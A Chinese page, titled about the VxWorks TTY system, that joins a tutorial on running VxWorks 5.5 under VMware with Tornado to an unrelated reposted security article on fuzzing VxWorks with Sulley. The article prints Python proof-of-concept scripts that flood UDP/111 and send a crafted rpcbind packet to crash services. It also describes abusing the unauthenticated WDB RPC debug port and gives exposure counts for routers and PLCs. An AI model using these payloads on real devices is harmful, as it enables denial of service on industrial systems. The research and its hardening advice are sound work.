如何挂接到vxworks的tty系统

Posted 2023-05-05

参考技术A 准备工作

　　我们假设您有一台普通配置的PC机，并安装了Windows2000操作系统。其次您需要安装Tornado 2.2 for pcPentium开发环境。缺省安装的Tornado 2.2 for pcPentium可能不包括pcPentium的BSP组件，但该组件可以从风河公司（Windriver）的网站免费下载。

　　我们将在下文以WIND_BASE引用Tornado的安装路径。

　　其次是要安装VMWare软件，这里我们使用4.0的版本。如果您还没有该软件，也可以从VMWare的网站下载试用版。

　　最后，由于Tornado自带的PC-NET网卡驱动有问题，所以需要下载AMD的PC－NET网卡的VxWorks系统驱动，可以从AMD网站免费下载。

　　一张1.44M的软盘，用于制作系统引导盘。

　　准备并安装好以上软件后，就可以开始下一步的工作了。

　　开始安装

　　编译网卡驱动程序

　　VMWare为运行于其上的操作系统提供虚拟网卡支持，该网卡类型即为AMD的PC-NET。实际上，在Tornado开发包中已经包含了该类型网卡的驱动程序，但经过测试，对于VMWare无法正常工作，所以您需要从AMD的网站下载最新的驱动程序。

　　下载得到的是一个可执行的安装程序，运行该程序将得到一个压缩包和一个帮助文件，按照该帮助的要求，将压缩包直接释放到Tornado目录下。如果提示是否允许覆盖文件，则选择允许。

　　此后按如下步骤完成驱动程序的编译和替换：

　　打开一个控制台窗口，运行批处理程序：$(WIND_BASE)\host\x86-win32\bin\ torVars.bat;
　　重新定位到$(WIND_BASE)\target\src\drv\end目录，运行：
　　make CPU=PENTIUM tool=gnu ln97xend.o

　　其间会产生一些警告，但这不会影响我们的工作。

　　重新定位到$(WIND_BASE)\target\lib\pentium\PENTIUM\common目录，并将上一步生成的文件ln97xend.o复制到此目录下。备份此目录下的文件libdrv.a；
　　运行命令arpentium -d libdrv.a ln97xEnd.o，删除libdrv.a中原有的ln97xEnd模块，然后再运行命令：
　　arpentium -ra iOlicomEnd.o libdrv.a ln97xEnd.o

　　将我们刚刚创建的新模块添加进去。

　　到此有关网卡驱动的设置就完成了。注意不要关闭这个窗口，后面还要使用。

　　

　　修改配置文件

　　在这一节中，我们要修改编译VxWorks的配置头文件Config.h中定义的一些参数，使编译出来的系统引导程序和VxWorks的映象符合我们的要求；同时还要修改sysLn97xEnd.c这个文件，以使系统的网络功能正常运行。

　　定位目录到$(WIND_BASE)\target\config\pcPentium并打开该目录下Config.h文件；
　　我们首先要修改VxWorks的启动参数。先查找到定义DEFAULT_BOOT_LINE宏的地方，修改预处理条件CPU == PENTIUM分支下的定义如下：
　　#define DEFAULT_BOOT_LINE \

　　"lnPci(0,0)your_host_name:d:\\vxWorks h=192.168.80.169 e=192.168.80.254 u=target pw=vxworks tn=target"

　　其中：

　　lnPci(0,0)指定了使用第0个网卡和第0个处理器，lnPci这个标识会因为使用的驱动程序不同而有所不同，但这里用lnPci就可以了；
　　your_host_name指定您的主机的名字，使用Windows系统的主机名就可以；
　　d:\\vxWorks指定了VxWorks映象下载的完整路径；
　　h=192.168.80.169是主机的IP地址，就是您当前正在使用的系统的IP地址；
　　e=192.168.80.254是目标机的IP地址，也就是未来VxWorks操作系统的IP地址，您只要任意指定一个不冲突的IP地址即可，这里我们假设您的目标机IP地址和主机IP地址在同一个网段内；
　　u=target指定了FTP服务器的用户名，这个FTP就是用来下载VxWorks映象的，后面还会提到；
　　pw=vxwroks是用户名对应的口令；
　　tn=target指定目标机的名字，任意指定即可；
　　您可以参考Tornado自带的手册以获取更多信息；

　　下面我们要指定使用什么样的网卡驱动程序。首先查找“Network driver options”这段文字，之后您可以看到在该注释后面定义了一系列的有关网卡驱动的宏定义。注意保证INCLUDE_END和INCLUDE_LN_97X_END这两个宏处于定义状态（define），其他的宏都处于未定义状态（undef）；
　　缺省情况下，VxWorks系统是不接受外部输入设备（如键盘）的输入，也不向外部输出设备（如显示器）输出数据。为了便于调试，我们必须改变它的这种缺省状态。我们查找定位宏INCLUDE_PC_CONSOLE，然后保证其处于定义状态（define）即可；
　　到此为止，对config.h文件的修改就完成了，保存修改，然后再打开同一目录下的sysLn97xEnd.c文件；
　　这一步修改的目的是要使网卡正常工作。我们先定位到“memory-mapped IO base”这段文字，然后将其前面的参数由pciRsrc[endUnit].bar[1]修改为NONE，这样就可以了。最后别忘了保存。
　　到此为止，全部的修改工作都完成了，下一步就可以开始编译连接了。

　　

　　编译程序

　　这一节我们要编译生成bootrom引导程序和VxWorks运行映象。

　　打开您的Tornado开发工具，在Build菜单下选择Build Boot ROM，弹出如下对话框：
　　

　　在BSP列表中选择pcPentium，而在Image to build列表中分别选择bootrom和gnu。完成选择后，点击OK按钮就开始引导程序的编译了。编译产生的文件bootrom将保存在$(WIND_BASE)\target\config\pcPentium目录下。

　　编译生成bootrom后，还要创建一个VxWorks映象（image），也就是VxWorks操作系统本身的代码。
　　创建一个“bootable VxWorks image”的工程；
　　选择您需要的VxWorks组件。这一步是可选的，如果您只想使用缺省的配置，那根本就不需要这一步；但如果您想使用额外的组件，例如，您可能想通过telnet连接VxWorks系统，这时就需要在Workspace窗口的VxWorks选项卡中选择telnet sever对应的组件，如下图：

　　在这个例子中我们选择了两个重要的组件：Telnet server 和 Target shell 。前者使我们可以通过Telnet协议登录到VxWorks操作系统中；后者则可以让我们通过命令行控制VxWorks系统。

　　完成选择后，即可开始编译程序；
　　

　　到此我们已经生成了VxWorks的系统引导程序和运行时的代码映象。这里还要提醒读者，在您每次修改完系统的配置信息（如：config.h）后，都要重新创建一个工程来编译VxWorks映象，以免出现代码不一致的问题。
　　将生成的名为“vxworks”的文件复制到D盘根目录下。这个路径是由上面我们所设置的DEFAULT_BOOT_LINE宏中的路径参数决定的，必须保持二者一致。
　　制作引导磁盘

　　现在开始制作VxWorks系统引导磁盘，用于引导装载VxWorks运行映象。

　　我们回到“编译网卡驱动程序”一节中所打开的控制台窗口，定位目录到$(WIND_BASE)\target\config\pcPentium，插入您已经格式化好的软盘，然后运行：

　　mkboot a: bootrom

　　该命令将在软盘上建立VxWorks系统引导分区，并将引导程序复制到软盘上。

　　这里再额外向您介绍一个虚拟软盘的工具：RamDiskNT，它可以在内存中建立一个虚拟的软盘，对于提高VxWorks的启动速度有很大帮助。

　　

　　配置FTP服务器

　　这里的FTP服务器用于在系统成功引导后，下载VxWorks的运行时映象。我们这里使用Tornado开发环境自带的FTP服务器。

　　打开Tornado FTP Server，选择“Security”菜单下的“Users/Rights”子菜单，弹出如下对话框：

　　当User Name为“target”时，修改“Home Directory”为D盘根目录（此路径由上面的DEFAULT_BOOT_LINE参数决定），同时修改口令为“vxworks”，最后点击“Done”按钮完成修改；

　　为了便于调试，我们还要打开FTP Server的日志功能。选择“Logging”菜单下的“Logging Options”子菜单，弹出如下对话框，其中除了“Winsock Calls”外，让其他选项全都处于开启状态。

　　保持FTP Server窗口处于打开状态（这样FTP服务器就处于运行状态）。
　　

　　创建VxWorks系统

　　打开您的VMWare Workstation，在File->New菜单下选择创建一个新的虚拟机（Virtual Machine），按照其向导帮助，完成虚拟机的配置。在选择操作系统类型时，选择“Other”,其余选项均使用缺省值就可以了。
　　完成以上配置后，点击右侧窗口中的“Start this virtual machine”，系统即开始引导运行，如下图所示：

　　在引导过程中，您会遇到一个7秒钟的等待，以决定是使用缺省的引导参数，还是手动输入引导参数。这里我们选择前者，所以不需要做任何工作。

　　成功引导后，系统会自动从FTP Server下载映象，并开始运行，得到如下画面：

　　

　　

　　到此，我们已经成功的在VMWare上安装了VxWorks操作系统。

　　需要注意的是，上面的画面会因为选择组件的不同而略微有所不同（例如，如果您没有选择target shell，就不会出现命令行提示符），但一般不会影响后续操作。

　　配置联机调试环境

　　装好系统后，您肯定还希望将自己编写的应用程序下载到目标机进行调试，下面我们就完成这一部分的配置工作。

　　打开您的Tornado开发环境，选择“Tools->Target Server->Configure”菜单，弹出如下对话框：

　　在“Description”中任意填写一个名字，这里是“net00”；在“Available Back”中选择“wdbrpc”，并在下面的IP地址框中填写目标机的IP地址，这里是“192.168.80.254”（由DEFAULT_BOOT_LINE参数决定）；将“Target Server Properties”下拉框更改至“Core File and Symbols”，并在“File Path”一项中选择您的映象的完整路径，这里是“D:\vxWorks”（由DEFAULT_BOOT_LINE参数决定）。

　　完成以上两项配置，点击“Launch”按钮，就可以启动Target Server了。

　　再回到Tornado开发环境，在工具条上的Target Server下拉框列表中选择“192.168.80.254@your_host_name”。这时您会发现工具条中一些原先处于“禁用”状态的工具按钮，现在都已经处于“激活”状态了。

　　现在您就可以开始联机调试您的VxWorks应用程序了。

VxWorks Fuzzing 之道：VxWorks 工控实时操作系统漏洞挖掘调试与利用揭秘

转载：freebuf

0×00 前言

关于VxWorks，这里引用44CON议题《攻击 VxWorks：从石器时代到星际》探究 一文章中的介绍：

VxWorks 是世界上使用最广泛的一种在嵌入式系统中部署的实时操作系统，是由美国WindRiver公司（简称风河公司，即WRS 公司）于1983年设计开发的。其市场范围跨越所有的安全关键领域，仅举几例，包括火星好奇心流浪者、波音787梦幻客机、网络路由器。这些应用程序的安全高危性质使得VxWorks的安全被高度关注。
VxWorks操作系统是由美国Wind River(风河公司)开发的一种嵌入式实时操作系统（RTOS），已宣称拥有至少15亿台设备，VxWorks支持几乎所有现代市场上的嵌入式CPU架构，包括x86系列、MIPS、 PowerPC、Freescale ColdFire、Intel i960、SPARC、SH-4、ARM, StrongARM以及xScale CPU。

在2015年9月9日-11日举办的44CON伦敦峰会中，Yannick Formaggio介绍了他对VxWorks进行深入安全研究的方法，他采用了Fuzzing框架Sulley对VxWorks系统的多个协议进行了Fuzzing，挖掘到一些漏洞，并结合VxWorks的WDB RPC实现了一个远程调试器，进行了相关调试分析。

其中很多实现及漏洞细节没有公开，我们搭建了VxWorks 5.5及VxWorks 6.6的x86虚拟环境，参照Formaggio的方法，对VxWorks进行了初步的安全研究，本文将对相关研究细节及结果进行介绍。

本文内容包括：

1. 漏洞概览
2. 安装Fuzzing框架Sulley & 相关协议Fuzzing
3. VxWorks WDB RPC V2分析
4. 暴露在互联网中的VxWorks WDB RPC V2服务!!!

本文无法涉及所有研究细节及方法，因此提供如下相关资料以供补充参考：

* VxWorks 5.5 & 6.6模拟环境搭建

* vmWare上运行VxWorks(5.5)

* Python灰帽子 第9章 Sulley

* Sulley官方文档：git项目目录文件sulley/docs/index.html

0×01 漏洞概览

我们复现了Formaggio指出的安全问题，没有发现新的问题，这些漏洞详情如下：

网络栈问题

* 漏洞描述：某些5.x版本的VxWorks系统在短时间内接受到大量的网络数据包，会造成网络栈崩溃，导致VxWorks无法再与外界主机通信。在部分情况下，终端会给出错误信息，报错信息如下图：

这里需要指出的是，有的情况下漏洞触发成功而造成DoS后，VxWorks终端并不会输出

interrupt: panic: netJobAdd: ring buffer overflow!

的提示，但此时VxWorks的网络栈已经崩溃，已无法再与外界通信，这一点可以通过持续ping来进行验证。

如上错误提示一般会在收到的数据包量非常大的情况下才会出现。

* 影响版本：部分5.x版本

* 验证方式：

1. 执行nmap命令（可能需要执行多次） _sudo nmap -sU -p110-166 -r -T5 -n 192.168.1.111_ ，其中192.168.1.111为运行VxWorks 5.5版本的主机IP，在收到上述扫描数据包后，VxWorks主机并没有错误提示，但是网络栈已经崩溃，无法再与外界进行通信。

2. 对tcp/21运行的FTP服务连续发送体积极大的FTP请求数据包。

3. 也可用如下Python代码验证该问题：

import socket
UDP_PAYLOAD = ‘\x72\xfe\x1d\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x01\x97\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00‘
def poc1(host, rpcPort=111, pktNum=6859):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for i in xrange(pktNum):
        sock.sendto(UDP_PAYLOAD, (hvcost, 111))
def poc2(host, rpcPort=111, portNum=26):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for port in xrange(rpcPort, rpcPort+portNum+1):
        sock.sendto(UDP_PAYLOAD, (host, port))
if __name__ == ‘__main__‘:
    import sys
    poc1(host=sys.argv[1], rpcPort=111, pktNum=100000000)
    #poc2(host=sys.argv[1], rpcPort=111, portNum=27)

rpcbind服务问题

* 漏洞描述：rpcbind服务是SUN-RPC的一部分，在VxWorks系统中该服务监听在tcp/111及udp/111端口，攻击者向该端口发送经过特殊构造的数据包，可使rpcbind服务崩溃，精心构造的请求可能可以造成任意代码执行。终端会给出错误信息，报错信息如下图：

* 影响版本：5.x & 6.x

* 验证方式：可用如下Python代码验证该漏洞：

import socket
PAYLOAD_HEX = ‘cc6ff7e200000000000000020001a086000000040000000488888888000000110000001100001111111111111111111111111111‘
def poc(host, rpcPort=111):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(PAYLOAD_HEX.decode(‘hex‘), (host, rpcPort))
if __name__ == ‘__main__‘:
    import sys
    poc(sys.argv[1])

0×02 Sulley 安装 & 协议Fuzzing

Formaggio使用Sulley对VxWorks进行Fuzzing，我们学习他的方式，尝试实现基于Sulley的Fuzzing。

安装Sulley

关于Sulley的安装，官方有给出较为详细的文档：

* Sulley – Windows Installation

FreeBuf也有文章对上述文档进行了翻译：

* 在渗透测试中使用fuzz技术(附windows安装指南)

这里简单给出我们的安装过程，环境Win7 x86：

1. MinGW

* 下载

* 安装时，在"Select Components"对话框中，除了默认选项，还需勾选"C++ Compiler"和"ObjC Compiler"

2. 下载并安装Python 2.7 x86版本（请安装2.7.2版本，高版本如2.7.11在后续编译libdasm步骤中可能出错）

3. 下载并安装Git for Windows

4. 将C:\Python27和C:\MinGW\bin加入到系统环境变量$PATH中

5. pydbg

* 下载: C:\sulley_build>git clone https://[email protected]/Fitblip/pydbg.git

* 编译安装：C:\sulley_build\pydbg> python setup.py install

6. libdasm

* 下载(墙)并解压

* 编译: C:\sulley_build\libdisasm\pydasm>python setup.py build_ext -c min2

* 安装: C:\sulley_build\libdisasm\pydasm>python setup.py install

7. 下载并安装WinPcap

8. 下载[WinPcap Dev Kit(WpdPack)]()

9. PCapy

* 下载并解压

* 编译(需指定WpdPack中的include目录及lib目录): C:\sulley_build\pcapy-0.10.5>python setup.py build_ext -c mingw32 -I "C:\sulley_build\WpdPack\Include" -L "C:\sulley_build\WpdPack\Lib"

* 安装: C:\sulley_build\pcapy-0.10.5>python setup.py install

10. 下载并安装setuptools和pip

11. 安装impacket: pip install -U impacket

12. Sulley

*下载: C:\sulley_build>git clone https://github.com/OpenRCE/sulley.git

* 确认process_monitor.py正常工作(无import异常): C:\sulley_build\sulley>python process_monitor.py

* 确认network_monitor.py正常工作(正常会打印网卡列表): C:\sulley_build\sulley>python network_monitor.py

FTP协议 (tcp/21) Fuzzing

* FTP协议中很多命令需要在登录后才能执行，我们主要关注未登录的情况。

* github上已有人公开了基于Sulley的FTP Fuzzing程序，我们直接用其进行Fuzzing，该脚本ftp.py fuzz的协议字段节点图如下：

fuzz结果：

* 6.6版本无影响。

* 5.5连续发送极大的FTP请求包时，会造成ring buffer overflow，导致VxWorks无法进行网络通信。该问题也属于上文中已经提到的网络栈问题，不属于FTP协议问题。

Sun RPC协议 – rpcbind服务(tcp/111 udp/111) Fuzzing

* 关于Sun RPC的细节可以参考如下文档:

1.Unix网络编程 卷二 第二版 第16章

2.ONC+ Developer‘s Guide – Appendix B RPC Protocol and Language Specification

* 根据协议我们实现了Fuzzing脚本rpcbind.py，其中使用到了后文中将提到的wdbdbg.py，以记录崩溃时调试信息、实现VxWorks主机的自动重启等功能，fuzz的协议字段节点图如下：

* 其中common_fields为一些结构统一的字段共同构成的汇总request，它包含如下协议字段：

后续为一些变长字段，请参照协议说明及rpcbind.py代码，不再赘述。

* Fuzzing结果: 5.5及6.6版本均测试出18处崩溃点，通过观察结果中的寄存器状态，都属于一类，该漏洞仅造成tPortmapd服务崩溃，对其他服务没有影响。该漏洞Formaggio在44 con上进行过详细分析。

0×03 WDB RPC

要实现自动或半自动化Fuzzing通常需解决如下问题：

* 随机或是随机的方式生成大量协议数据包：（本次由Sulley生成）
* 将生成的数据包发送给被测试组件/服务 （本次需基于Sulley实现针对特定协议的Fuzz脚本）
* 检测被测组件的状态，如是否能够响应、响应是否正确等（难点）
* 获取组件异常信息，如崩溃原因、内存内容等 （难点）
* 被测组件环境复原，如重启

对于VxWorks的Fuzzing，解决如上难点就需要一个VxWorks调试器，经研究得知，VxWorks的开发组件中的调试器工作时基于WDB RPC协议通过TServer与VxWorks 的TAgent模块通信，因此WDB RPC即是关键所在。

WDB RPC有V1和V2两个版本，VxWorks 5.5中使用V1版本，而VxWorks 6.6中使用V2版本，V2版本相较于V1版本有较多处修改，具体体现在协议字段及交互方式。

rapid7在Shiny Old VxWorks Vulnerabilities一文中指出了WDB Agent服务的安全隐患，并给出了相关探测和利用脚本:

* metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc\_version.rb

* metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc\_bootline.rb

* metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc\_reboot.rb

* metasploit-framework/modules/auxiliary/admin/vxworks/wdbrpc\_memory\_dump.rb

这些脚本都是针对WDB RPC V1的，对V2版本的WDB RPC服务并不能有效的探测和利用。

因此本文不再讨论V1版本的协议，仅分析V2版本。

首先我们来了解什么是WDB RPC，WDB RPC是一个基于SUN-RPC协议的调试接口，它的服务运行在UDP协议的17185端口上，WDB RPC被包含在VxWoks TAgent模块中，利用WDB RPC调试接口不但可以直接访问系统内存，还可以监视VxWorks系统所有组件工作状态，当组件发生异常时TAgent通过TServer主动通知当前连接的Debugger，如下图(参考自Wind River Documentation)

如果我们安置一个监视器(VxMon)充当TServer的身份，摸拟Debugger与VxWorks OS 的TAgent模块通信，那么当VxWorks OS组件发生异常时，VxMon可以从TAgent获得异常通知，继而利用WDB RPC 接口再获取异常相关信息，从而解决以上技术难点。

(参考自Wind River Documentation)

WDB RPC V2 协议分析

请求数据包

WDB协议基于SUN-RPC，WDB RPC请求包如下图构造(引用自Wind River Documentation)：

从上图我们可以得知，标准的WDB RPC请求包含如下信息：

* IP Header
* UDP Header
* RPC Request Header
* WDB Parameter Wrapper
* Function input parameters

在WDB RPC 请求包中，WDB Parameter与Function input parametes两个字段 为重点内容，WDB Parameter Wrapper内容包含整个请求包的大小，校验和及请求系列号，Function input parameters 为请求功能号的携带辅助信息。

响应数据包

WDB RPC应答包，如下图构造(引用自Wind River Documentation)：

从上图我们可以得知，标准的WDB RPC应答包中含如下信息：

* IP Header
* UDP Header
* RPC Reply Header
* WDB Reply Wrapper
* Function output

在WDB RPC 应答包中，WDB Reply Wrapper与Function output两个字段 为重点内容，WDB Parameter Wrapper内容包含整个请求包的大小、校验和及应答系列号（在每个请求与应答中，应答与请求系列号一致），Function output包含应答的输出信息，为请求功能号的返回信息。

实现 VxMon 与 VxWorks OS – TAgent模块 通信

V2版本的WDB RPC与V1版本最大的区别在于，在发送各类请求（如获取VxWorks版本BSP信息等的请求WDB\_TGT\_INFO\_GET）时，V1只用发送对应的请求包即可。而V2维护了一种类似Session的机制，在发送各类请求前，需要发送一个连接请求包（WDB\_TARGET\_CONNECT）以成功连接至TAgent，对于每个Session中的多个请求包（包括连接请求包），它们的SUN RPC -> Transaction ID字段及WDB RPC -> sequence字段的值需是连续递增的，否则就会收到包含错误的响应包。

* WDB\_TARGET\_CONNECT

VxMon发送请求调用过程：VxMon请求连接至目标，功能号为WDB\_TARGET\_CONNECT

TAgent应答过程：目标连接至VxMon(包含TAgent基本信息)

* WDB\_TGT\_INFO\_GET

VxMon发送请求调用过程：VxMon请求获取目标信息，功能号为WDB\_TGT\_INFO\_GET

TAgent应答过程：在应答包中会含有Vxworks目标机很多信息。如系统版本，大小端，内存分配 等等。

* 崩溃检测机制

前提是我们有意构造对VxWorks组件攻击程序，当攻击进行后，VxWorks其中一个组件会被攻击发生崩溃。当VxWorks OS 组件发生崩溃时，TAgent会主动的通知VxMon发生异常事件。

当VxMon接收到EVENT  NOTICATION消息时，应当立即回复包WDB\_EVENT\_GET包确认，否则VxWorks 会一直循环通知该消息。通过WDB\_EVENT\_GET消息，可以获取异常原因，异常组件任务ID及异常地址等信息，详细分析见下。

TAgent异常信息通知过程：当VxWorks组件崩溃时，TAgent发送如下字节码通知VxMon：

VxMon确认过程：VxMon发送WDB\_EVENT\_GET请求包进行确认：

TAgent应答过程：当TAgent接收到WDB\_EVENT\_GET请求时，将异常队列表中的异常信息发送给VxMon。

从WDB\_EVENT\_GET应答包（上图）中我们可以得知Task Conext为0x79622C任务已崩溃，

同时我们从VxWorks系统提示也得到了验证（task 0x79622c has had a failure and has been stopped），如下：

接下来主机请求更多的信息，如崩溃时寄存器内容，内存区域，异常代码。

通过VxMon发送WDB\_REGS\_GET请求，可以获取异常寄处器内容。

通过VxMon发送WDB\_MEM\_READ请求，可以获取异常地址的执行代码。如下：

代码

我们用Python封装了如上所述的功能，代码请移步至wdbdbg.py，其中需要用到第三方模块capstone，请自行安装。

0×04 暴露在互联网中的VxWorks WDB RPC V2服务!!!

WDB RPC的功能如此完备，就成了一把双刃剑。由于它本身没有身份认证的功能，因此能够与VxWorks主机17185端口通信就可以调用它。如果使用它的是黑客而非开发调试人员，就可能造成极大危害：

* 监视所有组件（服务）状态
* 恶意固件刷入、后门植入
* 重启VxWorks设备
* 任意内存读写
* 登陆绕过
* ...

Kimon在其 揭秘VxWorks——直击物联网安全罩门 一文中详尽地介绍了各种利用WDB RPC的攻击方式，因此本文不再一一列举。文中Kimon还给出了z-0ne的关于WDB RPC的全球统计:

通过Zmap调用wdbrpc-scan脚本扫描全网暴漏端口IP数约5万+，其中3.4万能读取到系统信息和bootline信息。

数量按国家分布Top10：

中国:       7861
美国:       5283
巴西:       3056
意大利:     1025
日本:       823
俄罗斯:      647
墨西哥:      505
哈萨克斯坦:  486
澳大利亚:    481
印度:       448

数量按VxWorks系统版本号统计：

VxWorks5.5.1  15601
VxWorks5.4.2  6583
VxWorks5.4    5410
VxWorks5.4.2  5254
VxWorks5.5    899
VxWorks       654
VxWorks5.3.1  236

数量按设备信息统计Top10：

Telogy Networks GG30E Reference Board 3674
TI TNETV1050 Communication Processor  3360
Motorola MPC82xx ADS - HIP7           2626
IP-ADSL DSLAM (MPC860/855T)           1972
HUAWEI ET&IAD                         1796
MPC8245Board: EDSL , Map B (CHRP)     1678
PowerPC 875,  133MHZ                  1553
Mips 4KEc                             1239
MGCB                                   912
Intel IXP425 - IXDP425 BE              887

其中受影响的PLC模块型号：

罗克韦尔Rockwell Automation 1756-ENBT固件版本为3.2.6、3.6.1及其他
西门子Siemens CP 1604、Siemens CP 1616
施耐德Schneider Electric 昆腾部分以太网模块

z-0ne的统计非常详尽，但从版本分布可以观察到，他探测及统计的是WDB RPC V1版本。

ZoomEye团队也对暴露在互联网中的WDB RPC服务进行了探测，全球IPv4网络空间中共有52586个主机运行着WDB RPC服务，其中：

* 运行V1版本WDB RPC服务(即运行VxWorks 5.x版本的主机)的IP共30339个，数量较z-0ne在2015年11月1日统计得出的3.4万有所减少。
* 运行V2版本WDB RPC服务(即运行VxWorks 6.x版本的主机)的IP共2155个。
* 运行未知版本VxWorks的主机20093个。这些主机对V1和V2版本的WDB\_TGT\_INFO\_GET请求，都没有返回我们期望的WDB\_TGT\_INFO格式的结果，而是返回了长度较短的错误响应数据包，但其格式符合WDB RPC的响应格式，因此基本可以说明这类主机运行着WDB RPC服务，即运行着VxWorks系统，但版本未知。该问题值得进一步研究。

关于V1版本服务的结果统计，我们得到的结果与z-0ne相近，本文不再赘述，这里主要给出运行V2版本WDB RPC服务的共2155个主机的统计：

* 国家分布统计TOP 10:

需要指出的是，其中位于中国的有7个。

* VxWorks 6.x版本统计

* 芯片/电路板 统计

可以看到使用VxWorks 6.x的芯片或集成开发板与5.x版本的统计结果差别很大，由于VxWorks 6.x版本相较于5.x版本更为稳定，因此更多地运用于对稳定性、可信及实时控制要求更高的系统中，从上表中芯片或集成电路板的特性就可以看出这一点。

利用WDB RPC V2，可以尝试进一步确定使用这些芯片或集成开发板的设备的品牌或型号，并对这些设备进行进一步控制，玩法与Kimon介绍的WDB RPC V1版本类似，有兴趣的同学可以继续深入。

0×05 总结

本文介绍了如何基于Fuzzing框架Sulley实现基于对VxWorks 5.5和6.6系统的FTP服务和Sun-RPC rpcbind服务的自动化Fuzzing，并介绍了在实现VxWorks 6.6自动化Fuzzing过程中必不可少的WDB RPC V2协议，最后对暴露在互联网中的WDB RPC V2协议进行了探测，并给出了相关统计。

我们可以看到，将WDB RPC服务暴露于互联网中的危险性极大，但它是使用VxWorks系统的硬件设备的系统开发人员不可或缺的工具，在开发过程中需要开启它，但在编译出厂设备的VxWorks系统时一定要将其关闭。